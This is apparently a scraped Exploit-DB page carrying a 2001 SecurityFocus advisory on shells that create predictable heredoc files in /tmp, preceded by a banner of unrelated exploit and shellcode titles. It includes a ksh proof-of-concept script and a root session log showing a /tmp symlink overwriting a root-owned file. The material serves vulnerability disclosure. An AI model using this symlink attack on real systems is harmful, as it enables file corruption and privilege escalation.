
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
44 lines
No EOL
1.7 KiB
Bash
Executable file
44 lines
No EOL
1.7 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/2006/info
|
|
|
|
bash, tcsh, cash, ksh and sh are all variations of the Unix shell distributed with many Unix and Unix clone operating systems. A vulnerability exists in these shells that could allow an attacker to arbitrarily write to files.
|
|
|
|
A vulnerability has been discovered in a number of Unix shells which may allow a local attacker to corrupt files or potentially elevate privileges.
|
|
|
|
Scripts and command line operations using << as a redirection operator create files in the /tmp directory with a predictable naming convention. Additionally, files are created in the /tmp directory without first checking if the file already exists.
|
|
|
|
This could result in a symbolic link attack that could be used to corrupt any file that the owner of the redirecting shell has access to write to. This issue affects those systems running vulnerable versions of bash, tcsh, cash, ksh and sh.
|
|
|
|
ksh is reportedly not vulnerable for IBM AIX systems.
|
|
|
|
#!/bin/ksh -x
|
|
touch /tmp/silly.1
|
|
ln -s /tmp/silly.1 /tmp/sh$$.1
|
|
ls -l /tmp/silly.* /tmp/sh$$.*
|
|
cat <<EOF
|
|
Just some short text
|
|
EOF
|
|
ls -l /tmp/silly.* /tmp/sh$$.*
|
|
rm /tmp/silly.* /tmp/sh$$.*
|
|
|
|
This example was submitted by proton <proton@energymech.net> in an October 29th, 2001 BugTraq posting:
|
|
|
|
/tmp# echo 'hello world' > rootfile
|
|
/tmp# chmod 600 rootfile
|
|
/tmp# ln -s rootfile sh$$
|
|
/tmp# chown -h 666.666 sh$$
|
|
/tmp# ls -l rootfile sh$$
|
|
-rw------- 1 root root 12 Oct 29 03:55 rootfile
|
|
lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 ->
|
|
rootfile
|
|
/tmp# cat <<BAR
|
|
? FOO
|
|
? BAR
|
|
FOO
|
|
o world
|
|
/tmp# ls -l rootfile sh$$
|
|
/bin/ls: sh12660: No such file or directory
|
|
-rw------- 1 root root 12 Oct 29 03:56 rootfile
|
|
/tmp# cat rootfile
|
|
FOO
|
|
o world
|
|
/tmp# |